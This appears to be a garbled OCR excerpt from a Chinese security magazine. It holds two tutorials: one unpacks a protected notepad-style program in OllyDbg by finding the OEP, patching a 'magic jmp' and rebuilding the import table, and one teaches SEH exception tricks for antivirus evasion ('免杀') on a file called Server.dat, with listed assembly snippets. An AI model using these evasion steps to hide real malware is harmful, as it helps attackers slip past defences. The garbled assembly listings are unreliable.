01013070	8387 88888888	add dword ptr ds:[edi+8x88] 8x26	
01013077	3300	xor eax,eax	
01013079	C3	retn	
0101307A	4B	dec_ebx	
0101307B	CA F4F3	retf BxF3F4	
0101307E	D4 58	aam 0x58	
01013080	64:63 00000000	mov dword ptr Fs:[0].eax	
01013086	83C4 84	add esp,0x4	
01013089	61	popad	
@1@13@8A	E8 00000000	call test.0101308F	
0101308F	818424 1588888	add_dword_ptr_ss:[esp],0x15	
01013096	63	retn	

图 7.1.2 代码视窗

是利用 0101301F 处的 CALL 来调用一个 SEH 异常。 不过我们是脱壳,而不是分析壳,所以就不要纠结这些问题了。

程序 F9 运行,之后 F12 暂停,打开堆栈调用,来到最后一个,如图 7.1.3,图 7.1.4

暂停	<u>I</u>		🛃 🛃 L E M T W H	C P I
地址	堆栈	函数过程 / 参数	调用来自	结构
0006FEBC	77D191BE	包含ntdll.KiFastSystemCallRet	user32.77D191BC	0006FED8
0006FEC0	77D191F1	user32.77D191B2	user32.77D191EC	0006FED8
0006FEDC	01002A1B	包含user32.77D191F1	test.01002A19	0006FED8
0006FF20	006DD3B4	test.01002936	OO6DD3AF	0006FF1C

图 7.1.3

886DD3A5	6A 0A	push BA	
006DD3A7	58	pop eax	
886DD3A8	50	push eax	
886DD3A9	56	push esi	
886DD3AA	53	push ebx	
886DD3AB	53	push ebx	
006DD3AC	FFD7	call edi	
886DD3AE	50	push eax	
006DD3AF	E8 82559200	call test.01002936	这里就是WinNain函数
886DD3B4	8BF 0	nov esi,eax	
886DD3B6	8975 C4	nov dword ptr ss:[ebp-3C],esi	
886DD3B9	395D E4	<pre>cnp dword ptr ss:[ebp-1C],ebx</pre>	
886DD3BC	. 75 07	jnz short 006003C5	
ØØ6DD3BE	56	push esi	
886DD3BF	FF15 18130001	call dword ptr ds:[1001318]	mswcrt.exit 退出函数,相信大家都知道
88600305	FF15 00130001	call dword ptr ds:[1001300]	msvcrtcexit
886DD3CB	, EB 2D	jnp short 006DD3FA	
86600300	8845 EC	nov eax,dword ptr ss:[ebp-14]	
00600300	8808	nov ecx.dword ptr ds:[eax]	
88600302	8B 89	nov ecx, dword ptr ds:[ecx]	
00600304	894D D8	nov dword ptr ss:[ebp-28],ecx	
806DD3D7	50	push eax	
88600308	51	push ecx	
00600309	E8 E8A19200	call test.010075C6	jnp 到 msvcrtXcptFilter
806DD3DE	59	pop ecx	
006DD3DF	59	pop_ecx	
886DD3E8	C:3	retn	

图 7.1.4

如果对 Visual C++ 7.0 的程序熟悉的话,就可以知道,这里是 oep 入口段的末尾

找一个 vc7.0 的对比下,如图 7.1.5



图 7.1.5

我们向上找,看下正常的 vc7.0 入口应该是什么样子的,如图 7.1.6

01007386	\$-	FF25 B412000	<pre>imp dword ptr ds:[<&WIHSPOOL.GetPrinter] winsp</pre>	ool.GetPrinterDriverW
0100738C		CC 23	int3	
01007380		CC 23	int3	
0100738E		CC 23	int3	
0100738F		CC 23	int3	
01007390		CC 23	int3	
01007391		CC 23	int3	
01007392	\$-	FF25 BC12000	imp dword ptr ds:[<&WIHSPOOL.OpenPrinter winsp	ool.OpenPrinterW
81887398		CC 23	int3	
81887399		CC 23	int3	
0100739A		CC 23	int3	
01007398		CC 23	int3	
0100739C		CC 23	int3	
81887390		68.70		
0100739F		68 98180001	push notepad.01001898	
01007384		E8 BF010000	call notepad.01007568	
01007389		3308	xor ebx,ebx	
010073AB		58	push ebx pHodu	le -> HULL
010073AC		8830 CC10000	nov edi,dword ptr ds:[ChKERHEL32.GetHod] kerne	132.GetHoduleHandleA
01007382		FFD7	call edi LBetHo	duleHandleA
01007384		66:8138 ADSA	<pre>cmp word ptr ds:[eax].8xSA40</pre>	
01007389		75 1F	jnz Xnotepad.010073DA	
01007388		8848.30	nov ecx,dword ptr ds:[eax+0x30]	
0100738E		8308	add ecx,eax	
01007300		8139 5845888	<pre>cmp dword ptr ds:[ecx],0x4550</pre>	
01007306		75 12	jnz Xnotepad.010073DA	
01007308		0F8741 18	novzx eax, word ptr ds:[ecx+0x18]	
010073CC		30 08010000	cmp eax, 0x108	
01007301		74 1E	je Xnotepad.010073F2	
01007303		30 08020000	cmp eax, 8x208	
01007308		74 05	je Xnotepad.010073DF	
0100730A		8950 E4	nov dword ptr ss:[ebp-0x10],ebx	
01007300		EB 27	jmp Xnotepad.01007406	
0100730F		8389 8400000	cmp dword ptr ds:[ecx+0x84].0xE	

图 7.1.6

那我们把加壳的程序同样向上找,如图 7.1.7

第 117页 /共 127页

00000204	0000	and over her aprilearlier
00600236	0000	add byte ptr ds:[eax],al
006DD238	3800	<pre>cmp al,byte ptr ds:[eax]</pre>
886DD23A	48	inc eax
88600238	88C3	add bl,al
00600230	818A	add dword ptr ds:[edx] ecx
006DD23F	016A 78	add dword ptr ds:[edx+70] ebp
88600242	68 98180801	push 1881898
88600247	E8 1CA39288	call test.01007568
886DD24C	3308	xor ebx.ebx
886DD24E	53	oush ebx
886DD24F	883D CC108001	nov edi.dword otr ds:[1001000]
88600255	FFD7	call edi
88600257	66:8138 4D5A	cmp word ptr ds:[eax].5040
88600250		ing short 00600270
886DD25E	8848 3C	nov ecx.dword ptr ds:[eax+30]
88600261	\$3C8	add ecx.eax
88600263	8139 58458888	cmp dword ptr ds:[ecx] 4550
88600269	75 12	ing short 00600270
8860026B	0FR7&1 18	nouzy eav word ntr ds:[ecy+18]
886DD26F	30 08010080	con eax. 108
88600274	7h 1F	in short 88600295
88600276	30 08020080	con eav.200
886DD278	74 05	short 00600282
00000210	· · · · · · · · · · · · · · · · · · ·	1 Sugar Good Stor

图 7.1.7

这里就是 oep,那我们手工修复一下。把 01 用 90 (nop) 填充,如图 7.1.8

006DD23F		nop	
00600240	6A 70	push 78	oep
006DD242	68 98180001	push 1001898	
006DD247	E8 1CA39200	call test.01007568	
006DD24C	33DB	xor ebx,ebx	
006DD24E	53	push ebx	
006DD24F	8B3D CC100001	nov edi,dword ptr ds:[10010CC]	
006DD255	FFD7	call edi	
00600257	66:8138 4D5A	cmp word ptr ds:[eax],5040	
006DD25C	. 75 1F	jnz short 00600270	
006DD25E	8B48 3C	nov ecx,dword ptr ds:[eax+3C]	
006DD261	83C8	add ecx,eax	
0.04000.040	0400 50550000	and decoud also des Leon 1 hEEO	

图 7.1.8

既然 oep 已经找到,我们来修复 iat 指针。下 VirtualProtect 断点。

第一次,	第二次	第六次,图 7.1.9	
00067A60	10008503)返回到 100005C3 来自 kernel32.VirtualProtect	
00067A64	01009000) test.01009000	
00067A68	00001BA8		
00067A6C	00000040		
00067A70	00067BE0		
00067A74	00000002		
00067A78	01015613	ASCII "erm"	
00067A7C	00C 0A 02 0	3	-
00067A80	0040B5EE		9
00067A84	00007F98		
00067A88	006D50A0	ASCII ".text"	
00067A8C	00000000	3	
00067A90	88888888	3	
00067A94	00605008		
00067A98	006D5014		
00067A9C	006D5014		v
地址	数值	注释	*
010010CC	7C80B731	kernel32.7C80B731	
010010D0	7C801EF2	kernel32.GetStartupInfoA	
010010D4	7C8ØFCBF	kerne132.7C80FCBF	
010010D8	7C8115F2	kerne132.7C8115F2	
010010DC	7C8099BF	kerne132.7C8099BF	
010010E0	7C809A1D	kerne132.7C809A1D	
010010E4	7C809A99	kerne132.7C809A99	
010010E8	7C832EC9	kerne132.7C832EC9	
010010EC	7C80A3EE	kerne132.7C80A3EE	
010010F0	7C832E35	kerne132.7C832E35	
010010F4	7C87A656	kerne132.7C87A656	
010010F8	7C809BD7	kerne132.7C809BD7	-
B1BB1BEC	7 CONDACH	kornol22 709 ADOEh	

图 7.1.9

第118页 /共127页

Alt+F9 返回用户代码,图 7.1.10

10007FC1	FF15 65770110	call dword ptr ds:[10017765]	kernel32.VirtualProtect
10807FC7	884424 14	nov eax_dword ptr ss:[esp+14]	
10807FCB	53	push ebx	
10007FCC	80 0C 07	<pre>lea ecx.dword ptr ds:[edi+eax]</pre>	
10807FCF	51	push ecx	
10807FD8	56	push esi	
10007FD1	E8 5F150000	call 10009535	
10807FD6	889424 7801000	nov edx,dword ptr ss:[esp+178]	
10807FDD	83C4 8C	add esp,00	
10007FE0	808424 7801000	<pre>lea eax,dword ptr ss:[esp+178]</pre>	
10007FE7	58	push eax	
10007FE8	8D4C24 20	lea ecx,dword ptr ss:[esp+20]	
10007FEC	03FB	add edi,ebx	
10807FEE	898424 7081088	nov dword ptr ss:[esp+17C],esi	
10007FF5	899024 8001000	nov dword ptr ss:[esp+180].ebx	
10007FFC	899424 8401000	nov_dword_ptr_ss:[esp+184],edx	
10008003	E8 CDFCFFFF	call 10007CD5	
10008008	387024 10	cro edi,dword ptr ss:[esp+10]	
10008000 ^	72 87	jb short 10007F95	
1000800E	33F6	xor esi,esi	
10008010	8D4C24 14	lea ecx,dword ptr ss:[esp+14]	
10008014	51	push ecx	
10008015	808C24 8C01000	<pre>lea ecx.dword ptr ss:[esp+18C]</pre>	
1000801C	E8 D49BFFFF	call 10001BF5	
10008021	8815 79100210	nov edx_dword_ptr_ds:[10021079]	test.01000000
10008027	52	push edx	
10008028	E8 C8DFFFFF	call 10005FF5	走过此处之后,1at将会全部被加密
10008820	68 81	push 1	
1000802F	FF15 89108218	000rd DTr ds:1100210091	17055.01013000

图 7.1.10

我们下一个写入断点,继续跟,图7.1.11

18886990	09709h h0 88	cro duord ate cc:[acaak[] 0	
10000326	00/024 46 00	cup unuru per ssilespinis	
10006331	00:8957 14	und word bt. az:[6a1+14] ax	
10006335	74 07	10 short 1000633E	
10006337	C607 EB	nov byte ptr ds:[edi].8EB	
1000633A	C647 01 14	nov byte ptr ds:[edi+1],1%	
1000633E	8B6C24 48	nov ebp,dword ptr ss:[esp+48]	
10006342	C68437 FF	nov byte ptr ds:[edi+esi],0FF	
10006346	C64437 01 35	nov byte ptr ds:[edi+esi+1] 35	
10006348	894037 82	nov dword ptr ds:[edi+esi+2],ecx	
1000634F	66:C74437 06 C	nov word ptr ds:[edi+esi+6],507	
10006356	894037 08	nov dword ptr ds:[edi+esi+8].ecx	
1000635A	894437 OC	nov dword ptr ds:[edi+esi+C],eax	
1000635E	C64437 10 C3	nov byte ptr ds:[edi+esi+10],003	
10006363	897024 18	nov dword ptr ss:[esp+18],edi	
10006367	884424 18	nov eax,dword ptr ss:[esp+18]	
10006368	8945 00	now dword ptr ss:[ebp],eax	
1000636E	8B4424 24	nov eax,dword ptr ss:[esp+24]	test.01007758
10006372	8878 84	nov edi,dword ptr ds:[eax+4]	
10006375	8300 84	add eax,4	
10006378	8305 04	add ebp A	



向上拉,寻找一下	magic jmp,如图 7.1.12	
100061D3 8B4424 54	nov eax,dword ptr ss:[esp+54]	
100061D7 3D 53F14A7A	cmp eax.7A4AF153	
100061DC _ 74 19	je short 100061F7	
100061DE 3D 4DE75D66	cnp eax,665DE74D	
100061E3 74 12	je short 100061F7	
100061E5 3D 5FF 05127	cnp eax,2751F85F	
100061EA _ 74 0B	10 short 100061F7	
100061EC 3D 59F04E75	cnp eax,754EF059	
100061F1 _/ 0F85 70010000	inz 10006367	nagic jnp
100061F7 68 F4010000	push 1F4	
100061FC E8 F93D0000	call 10009FFA	

图 7.1.12

处理 majic jmp,如图 7.1.13

100065F9	884424 54	nov eax,dword ptr ss:[esp+54]	
100065FD	3D 53F14A7A	cmp eax,7AAAF153	
10006602		nop	
10006603		nop	
10006604	3D 40E75D66	cmp eax,665DE74D	
10006609		nop	
10006600		nop	
10006608	3D 5FF05127	cmp eax,2751F85F	
10006610		nop	
10006611		nop	
10006612	3D 59F0AE75	cmp eax,754EF059	
10006617	., <u>r</u> E9 71010000	jmp 10006780	majic jmp
10006610		nop	
1000661D	68 F4010000	push 1F4	
10006622	E8 F93D0000	call 1000A420	

图 7.1.13

第 119页 /共 127页

此时我们来看一下 iat, 如图 7.1.14

00067860	10008701	返回到 10008701 来自 kernel32.VirtualProtect	
00067864	01001000	0 test.01001000	10.1
00067A68	00007748		
00067860	00000020		
00067670	00067BF8		
00067674	00000002		
00067678	01015613	ASCII "erm"	100
00067A7C	00C 0A 02 0		1
00067680	0040B5EE		1.3
00067684	00007F98		
00067A88	00000000	1	
00067A8C	00000000		
00067690	00000000		
00067694	006D5020	1	
00067A98	00605038		
00047000	00405099		1.00
0000/890	00005036		
地址	数值	注释	*
地址 010010CC	数 <u>值</u> 7C80B741	」 注释 kernel32.GetHoduleHandleA	â
<u>地址</u> 010010CC 010010D0	<u>数值</u> 7C80B741 7C801EF2	1 注释 kernel32.GetHoduleHandleA kernel32.GetStartupInfoA	â
<u>封也北</u> 010010CC 010010D0 010010D4	<u>数值</u> 7C80B741 7C80FCFF 7C80FCFF	1 注释 kernel32.GetModuleHandleA kernel32.GetStartupInfoA kernel32.GlobalFree	â
1007/H9C 10010CC 910010D0 910010D4 910010D8	<u>数值</u> 7C80B741 7C80EF41 7C80EF5 7C80FCFF 7C811ADA	1 注释 Kernel32.GetHoduleHandleA Kernel32.GetStartupInfoA kernel32.GotLocaleInfoW	â
<u>地北</u> 61 861 800 81 861 800 81 861 80 8 81 861 80 8 81 861 80 8 81 861 80 0	<u>数値</u> 7C80B741 7C801EF2 7C80FCFF 7C811ADA 7C8099CF	1 注释 kernel32.GetHoduleHandleA kernel32.GetStartupInfoA kernel32.GlobalFree kernel32.GetLocaleInfoW kernel32.LocalFree	
<u>計した</u> 81 861 8CC 81 861 8CC 81 861 8D 8 81 861 8D 8 81 861 8D 8 81 861 8D 8 81 861 8D 6 81 861 8D 6	<u>数値</u> 7C80B741 7C80TEF2 7C80FCFF 7C811ADA 7C8099CF 7C809A2D	1 注释 Kernel32.GetHoduleHandleA Kernel32.GetStartupInfoA Kernel32.GlobalFree kernel32.LocalFree Kernel32.LocalFree Kernel32.LocalAlloc	
<u>時間</u> 日 01 001 000 01 001 000	<u>数値</u> 7C80B741 7C80F7F2 7C80FCFF 7C811ADA 7C8099CF 7C809A2D 7C809AA9	1 注释 Kernel32.GetHoduleHandleA Kernel32.GetStartupInfoA kernel32.GotLocalFree Kernel32.LocalFree kernel32.LocalFloc kernel32.LocalAlloc	
<u>地址</u> 01001000 01001000 01001000 01001000 01001000 01001000 01001000 01001000 01001000	<u>数位</u> 7C80B741 7C80B7EF2 7C80FCFF 7C80FCFF 7C8099CF 7C809A2D 7C809AA9 7C8338B1	1 注释 kernel32.GetHoduleHandleA kernel32.GetStartupInfoA kernel32.GetLocaleInfoW kernel32.LoccaleInfoW kernel32.LoccalFree kernel32.LoccalAlloc kernel32.loccalUnlock	
<u>地址</u> 5106195CC 918618D8 918618D8 918618D8 518618D8 518618E8 918618E8 918618E8 918618E8	<u>数位</u> 7C80B741 7C80B741 7C80FCFF 7C811ADA 7C8099CF 7C809A2D 7C809A2D 7C809A3B1 7C80A3FE	1 注释 Kernel32.GetHoduleHandleA kernel32.GetStartupInfoA kernel32.GotalFree kernel32.LocalFree kernel32.LocalAlloc kernel32.LocalAlloc kernel32.LocalHoc kernel32.LocalHock kernel32.CocalUnlock	*
1也让 51861906 51861906 51861908 51861908 51861908 51861986 51861986 51861986 51861986 51861986 51861986 51861986 51861986 51861986 51861986 5186198 51865198 5186198 51865198 51	<u>数值</u> 7C80B741 7C80B741 7C80FCFF 7C811ADA 7C8099CF 7C809A2D 7C809A89 7C8338B1 7C803A8FE 7C83381D	1 注释 Kernel32.GetHoduleHandleA Kernel32.GetStartupInfoA kernel32.GotLocaleInfoW kernel32.LocalFree kernel32.LocalAlloc kernel32.localAlloc kernel32.localUnlock kernel32.CompareStringW kernel32.LocalLock	*
<u>1</u> 地北 5106145CC 5106145CC 5106145CC 5106145C 51061455 51061455 51061455 51061455 51061455 51061455 510614554	<u>数位</u> 7C8082741 7C808741 7C808741 7C809CFF 7C811ADA 7C8099CF 7C809A20 7C809AA9 7C833881 7C80A3FE 7C83381D 7C87A7EE	1 注释 kernel32.GetHoduleHandleA kernel32.GetStartupInfoA kernel32.GotLocaleInfoW kernel32.LocalFree kernel32.LocalFree kernel32.LocalAlloc kernel32.LocalAlloc kernel32.LocalUnlock kernel32.CompareStringW kernel32.LocalLock kernel32.LocalLock	*
bbbbb/line 1001 01001	32/1 7C808741 7C808741 7C808741 7C80767 7C809905 7C8090420 7C8090420 7C8090420 7C8090420 7C803885 7C80385 7C805 7C	注释 kernel32.GetHoduleHandleA kernel32.GetStartupInfoA kernel32.GlobalFree kernel32.CotLocaleInfoW kernel32.LocalAlloc kernel32.localAlloc kernel32.localHoc kernel32.localHock kernel32.CompareStringW kernel32.CocalLock kernel32.FoldStringW kernel32.FoldStringW	-

图 7.1.14

搜索特征码,"jmp eax"之后 F7 跟入,并还原 oep,如图 7.1.15, 7.1.16

010153BA	E8 00000000	call test.0101538F	
010153BF	818424 0900000	add dword ptr ss:[esp],9	
01015306	C3	retn	
81815307	2 8EB	and bl,ch	
01015309	01F4	add esp,esi	
010153CB	FFE0	jap eax	
010153CD	8B5C24 84	nov ebx,dword ptr ss:[esp+4]	
010153D1	8D 8428	lea eax,dword ptr ds:[ebx+ebp]	
01015304	50	push eax	
010153D5	51	push ecx	
010153D6	E8 11000000	call test.010153EC	
04040000	0/0100 00	man hotels show deal shows the 1, 600	

图 7.1.15

BRACEDSR	6A 78	auch 78	
RRACEDSA	68 98188881	push 1001098	
006CFD5F	E8 04789300	<pre>call test.01007568</pre>	
006CFD64	3398	xor ebx,ebx	
BB6CFD66	53	push ebx	
886CFD67	883D CC100001	nev edi dword ptr ds:[1001000]	kernel32.GetHoduleHandleA
006CFD6D	FF07	call edi	
886CFD6F	66:8138 ADSA	cmp word ptr ds:[eax],5000	
886CFD74	. 75 1F	jmz short 006CFD95	
886CFD76	8848 30	nov ecx dword ptr ds:[eax+30]	
006CFD79	6308	абб еск,еак	
BB6CFD7B	8129 58458888	cmp dword ptr ds:[ecx] 4550	
886CFD91	, 75 12	ing short @@dCFD95	

图 7.1.16

之后 copy 该段代码,来到正确的 oep 处并覆盖,如图 7.1.17

01007382	CC	int3	
01007383	CC	int3	
01007384	cc	int3	
01007385	CC	int3	
01007386	- FF25 84120001	<pre>imp dword ptr ds:[1001284]</pre>	winspool.GetPrinterDriverV
0100738C	CC	int3	
0100738D	CC	int3	
0100738E	CC	int3	
0100738F	cc	int3	
01007390	CC	int3	
01007391	cc	<u>int</u> 3	
01007392	- FF25 BC120001	<pre>jmp dword ptr ds:[100128C]</pre>	winspool.OpenPrinterV
01007398	cc	int3	
01007399	CC	int3	
8188739A	cc	int3	
0100739B	CC	int3	
0100739C	CC	int3	
8188739D	6A 70	push 70	
0100739F	68 98180001	push test.01001898	
010073A4	E8 1CA39200	call 019316C5	
01007369		xor ebx,ebx	
010073AB		push ebx	
010073AC	8830 CC100001	nov edi,dword ptr ds:[10010CC]	kernel32.GetHoduleHandleA
01007382	FF07	call edi	
01007384	66 8138 ADSA	cmp word ptr ds:[eax],5040	
01007389		jnz short test.010073DA	
010073BB	8848 30	nov ecx,dword ptr ds:[eax+30]	

图 7.1.17

开始 dump,并使用 ImportREC 修复,图 7.1.18

入口点: 00007390	EP 段: text >
文件偏移: 0000739D	首字节: 3A, 70, 68, 98 🗋 >
连接器版本: 7.10	子系统: #in32 GUI 🛛 >
PESniffer:	>
PEiDDSCAN: Microsoft Visual C++	7.0 Method2 [调试] 🛛 🔪
多文件扫描(11) 查看进程(11)) 扩展信息 插件
🗹 总在最前 (S) 🍡 选项 (D)	关于(A) 退出

图 7.1.18

至此脱壳结束。

(全文完)责任编辑: IceSnOw

第2节 SHE 异常原理和在免杀中的利用

作者:sunny

来自: Disc Forbid Security Team

网站: http://www.discforbid.com

大家好,我是 sunny,从 2007 年开始接触这个行业,2010 年开始玩兔杀,玩到至今只是精 通免杀,下面这篇文章也是非常简单的,,那么我们这篇文章呢是关于 SEH 加密,啊,那么 大家都知道,在无特征免杀中,大多都都和汇编有很大的关系,SEH 异常原理和在免杀中的 利用

目的: Seh 异常在花指令里的应用

定义: Seh 异常就是数结构化异常处理, Win32 结构化异常处理是 操作系统提供的一种服务。在编译器的 SEH 层减少了直接使用纯操作系统的 SEH 所带来的危害的同时,也将纯操作系统的 SEH 从大家的面前隐藏了起来。

但程序遇到 Seh 异常时,异常交给系统处理(这将是一个非常负责的过程,很容易跟飞), 所以利用 Seh 异常可以一定程度的防止程序被调试。(seh 异常在壳里是很常见的)

我们今天用到的工具 : loardPE, OD, zeroadd (加区段工具)。

原入口点 00418ca0

新入口点 0041c000

首先我们打开这款 zeroadd, 然后随便去加个区段, 如图 7.2.1

ZeroAdd v1.0 [D.S.T]Hew4类化版 DARC SECURIT	ч теан [D.S.T]	
请输入区段信息!		Message:
The second section of the second secon	漆加	The section was successury abued and appendeutzero pauded, have fully, j
制八新区版名称: discforbid	28.85	确定
新 人教区现大小: 400	用作	

图 7.2.1

那么 discforbid 就是我们新建的一个区段,在 lordPE 中我们可以看到

如图 7.2.2

ECITIPE w平服	I by youa			_		PE 编辑器
L来 名称 L来 .text \sy .rdata \??? .data \??? .rsrc .mackt discforb	V0ffset 00001000 00003000 00004000 0001A000 0001B000 0001C000	VSire 000012F2 000007A1 00015EA8 00000010 00001000 00000400	R0ffset 00001400 000012000 00017800 00018000 00018000 00019000	RSize 00001400 0000800 00015800 0000200 00001000 00001000	标志 60000020 C0000040 C0000040 40000040 E0000060 E0000060 E0000060	部試器中中断 (strator)泉面)se 0002 0006 4FCCAEDC
L		代 碑 数据 块 羽 文件 标志	^{9室址:} 5茎址: 1齐: 1块对齐: 3字:	00001000 00001000 00000200 010B	 即日八小・ 特征値: 校验和: 可选头部大小: RVA 数及大小: 	00000400 ? 010F . 00000000 ? 00E0 00E0 +

图 7.2.2

这里我们点击 OD 中的 M 找到我们新建的区段,然后双击来到新建的区段,如图 7.2.3

00150	00			Priv	RW	RW	
00250 📿	00			Priv	RW	RW	
00260)0			Map	RW	RW	
00270 🗹 abi	00			Map	R	R	\Device\Harddi
00290	00			Map	R	R	\Device\Harddi
002EC 💻 🙂	0			Map	R	R	\Device\Harddi
00330 🖂 🖂 🖂	00			Map	R	R	\Device\Harddi
00340 💻 💷	00			Map	R	R	
00390 💻 📥	00			Priv	RW	RW	
003AC	00			Map	R	R	\Device\Harddi
0040C 🖹 🗛	00 Server		PE 文件头	Imag	R	RWE	
00401 🚆 🐴 🔪	00 Server	text	代码	Imag	R	RWE	
0040: 🔏 🔆	0 Server	.rdata 👘	数据,输出表	Imag	R	RWE	
00404		. data 👘	SFX	Imag	R	RWE	
0041A000 00001	1000 Server	rsre	资源	Imag	R	RWE	
0041B000 00001	1000 Server	. mackt	输入表	Imag	R	RWE	
0041C000 00001	1000 Server	discforb	be to be a d	Imag	R	RWE	
77BE0000 00001	1000 msvert	+	PE 文件头	Imag	R	RWE	
77BE1000 00040	COOO msvert	.text	<u>SFX</u> ,代码,输,	Imag	R	RWE	
77C2D000 00007	7000 msvert	. data 👌	数据	Imag	R	RWE	
77C34000 00001	1000 msvert	.rsrc	资源	Imag	R	RWE	
77C35000 00003	3000 msvert	.reloc	be defined	Imag	R	RWE	
70800000 00001	1000 kernel32		PE 文件头	Imag	R	RWE	
70801000 00084	4000 kernel32	.text	SFX,代码,输,	Imag	R	RWE	
7C885000 00005	5000 kernel32	. data 👘	And and a second se	Imag	R	RWE	
7C88A000 0008I	E000 kernel32	.rsre	资源	Imag	R	RWE	
70918000 00008	6000 kernel32	.reloc		Imag	R	RWE	
7C920000 00001	1000 ntdll		PE 文件头	Imag	R	RWE	
7C921000 00071	0000 ntdll	.text 👘	SFX,代码,输	Imag	R	RWE	
7C99E000 00005	5000 ntdll	. data 👘	Sales Sales	Imag	R	RWE	
7C9A3000 00010	0000 ntdll	rsre	斑狐	Imag	R	RWE	
7C9B3000 00003	3000 ntdll	.reloc		Imag	R	RWE	
7F6F0000 00007	7000			Map	R E	R E	
7FFA0000 00033	3000			Map	R	R	

图 7.2.3

我们来到新区段 0041C000, 如图 7.2.4

- 二子 定 政 解	Server.dat - [LCG -	主线程, 模	块 - Sei	rver]			
C 文件(E) 遭	E看(⊻) 调试(<u>D</u>) 插	件 <mark>(P)</mark> 选巧	〔 <mark>(工)</mark> ឪ	7□ <u>(W</u>)	帮助(<u>H</u>)	[+] 快捷菜单	ΤJ
暂停	🔁 📢 🗙 🜗 🔢	6	\$I 1I	→ →	1 e	mtwhc	I
00410000	0000	add byt	e ptr	ds:[ea	x],al		
0041C002	0000	add byt	e ptr	ds:[ea	x],al		
004 <u>1C004</u>	_0000	add byt	e ptr	ds:[ea	x],al		
664 控作 🗙 🗙	9999 9	add byt	e ptr	ds:[ea	x],al		
004	0000	add byt	e ptr	ds:[ea	x],al		
004 🛀 🔤	0000	add byt	e ptr	ds:[ea	x],al		
004	0000	add byt	e ptr	ds:[ea	x],al		
004 🔽 🔤	8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8	add byt	e ptr	ds:[ea	x],al		
004	6 6 6 6	add byt	e ptr	ds:[ea	x],al		
00J 💻 💿	0000	add but	o ote	destos	W1 31		

第 122页 /共 127页

图 7.2.4

我们 NOP 掉一段部分,如图 7.2.5

C 文件(E)	查看(⊻)	调试(D)	插件(P)	选项(<u>T</u>)	窗口(W)	帮助(日) [) 快捷	葉単 工」	員 设置/	P断点	BP P	VB	Notepad	Calc	Fo
暂停	24	< × >	11 4	4 2 1	1 -	• leı	n t w	hcF	kb	I 5	EX	?	55 SA P	BHEP	 JS
00410000	8888		add	byte p	tr ds:[)	eas],al									
00410002	0000		adr	huto al	be desta										
00410004	0000		ad	留 (3)											
00410006	0000		ad	复制											
00410008	0000		ad	二进制			•	编辑		Ctrl+E					
00410000	0000		ad	汇编(<u>A</u>)		Space		用 00 均	績充(0)						
00410000	0000		ad	标篮		:		用 NOP	> 埴充(№)						
0041C00E	8888		ad	注释		1		or Market							
00410010	0000		ad	断点(P)			•	二进制	EN (
00410012	0000		au	RUN 課題	ę.										
00410014	0000		au						'						
00410010	0000		au	此处为新	EIP	Ctrl+0	iray *								
00410018	8888		30	特到			•								
00410016	0000		ad	数据窗口	中跟離		•								
8841C81E	8888		ad	7748/02											
88410828	0000		ad	豊我(2)	101										
88410822	8888		ad	重找参考	(<u>R</u>)										
88410824	0000		ad	查看			•								
00410026	8888		ad	复制到可	执行文件		•								
00410028	0000		ad	分析			•								
0041C02A	0000		ad	Start FK	VMP										
00410020	8888		ad	IDAFicat	0F		•								
0041C02E	0000		ad		103										
00410030	0000		ad	运行脚本	(2)										

图 7.2.5

用来我们写 SHE 加密指令,下面是 SHE 一些加密指令:

00405218 原入口点 0040E000 新入口点 push ******* mov eax,dword ptr fs:[0] push eax mov dword ptr fs:[0],esp mov esi,0

mov eax, dword ptr ds:[esi]

push *******

mov eax,dword ptr fs:[0] push eax mov dword ptr fs:[0],esp mov ebx,0 div ebx

nop

push ******* mov eax,dword ptr fs:[0] push eax mov dword ptr fs:[0],esp

int 3

push *******

mov eax, dword ptr fs:[0]

mov dword ptr fc:[0] ccp
mov dword ptr is.[0],esp
nop
int 68
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push ******
mov eax, dword ptr fs:[U]
push eax
mov dword ptr fs:[0],esp
nop
vxdcall 134543
push *******
mov eax, dword ptr fs:[U]
push eax
mov dword ptr fs:[0],esp
push dword att for[0]
push dword ptr is:[0]
mov is:[0], esp
SEC
push dword ptr fc:[0]
nush xxx
push dword ptr fs:[0]
mov $fs[0]$ esp
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
push xxx
push dword ptr fs:[0]
mov fs:[0], esp
pop ss
push ******* push 00418ca0(原入口点)
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
mov esi,0
mov eax,dword ptr ds:[esi]

我们开始写我们的指令,第一个指令我们直接压入他的原入口点就 OK 了,然后后面的复制 第124页 /共127页

🔨 吾爱破解 - Serv	er.dat - [LCG - 主約	践程, 仅块 - Server]	1000	
🖥 🖸 文件(F) 杳若(V	/) 调试(D) 插件(P) 洗项(T) 窗口(W)	帮助(H)	
沿署ムロ市市占、		, <u>, , , , , , , , , , , , , , , , , , </u>		
哲停 🔂 🗋		<u> 4 4 7 7 4 1 1 -</u>	l e	
0041C000 68	A68C4100 pu	sh offset Server	•. <modu -<="" th=""><th></th></modu>	
0041C005 04	A1 00000000 mo	v eax,dword ptr	fs:[0]	
0041C00B 50	pu	sh eax		
0041C00C 64:	8925 000000 mo	v dword ptr fs:[0],esp	
0041C013 BE	00000000 mo	v esi,0x0		
0041C018 8B0	16 mo	v eax,dword ptr	ds:[es	
0041C01A 90	no	p		
0041C01B 90	no	p		
0041C01C 90	no	p		
0041C01D 90	no	p		
0041C01E 90	no	р		
	图 7 2 6			
伏后我们 来但左讨 个	程序。 复制到可地:	行文件,加図ㅋㅋㅋ	图 7 7 9	
灬川弘山木休什心	但主门,又刚却可认	11入口,知首7.2.7,	7.2.0 [خر	
	(四): (D) 括(4(D)))	(ズ) 空口(W) 那冊(I	山) [1] 柿塘	英 一 一 日
公果▲01時よ	峒禹(☑) 1曲(ビ) №	⊻坝(工) 图口(亚) 市助(米半 工具
			emtw	hcpkbr
0041C000 68 A	08C4100 push (▲ 寄存器	(FPU)
00410005 04:H	nush i		EAX 00	000000
00410000			ECX 99	12FFB0
3 0041C00C 64:89	/25 8888888		EDX 70	2554h otdll Kie
0041C00C 64:00 0041C013 8E 00	99999999999999999999999999999999999999	αi ανα	EDX 7C	92E514 ntdll.KiF FD7000
0941C09C 64:00 0941C013 BE 00 0941C018 8886	9000000 m ^{ov} o m 🍝	di ovo di ovo 份	EDX 7C	92E514 ntdll.KiF FD7000 12FFC4
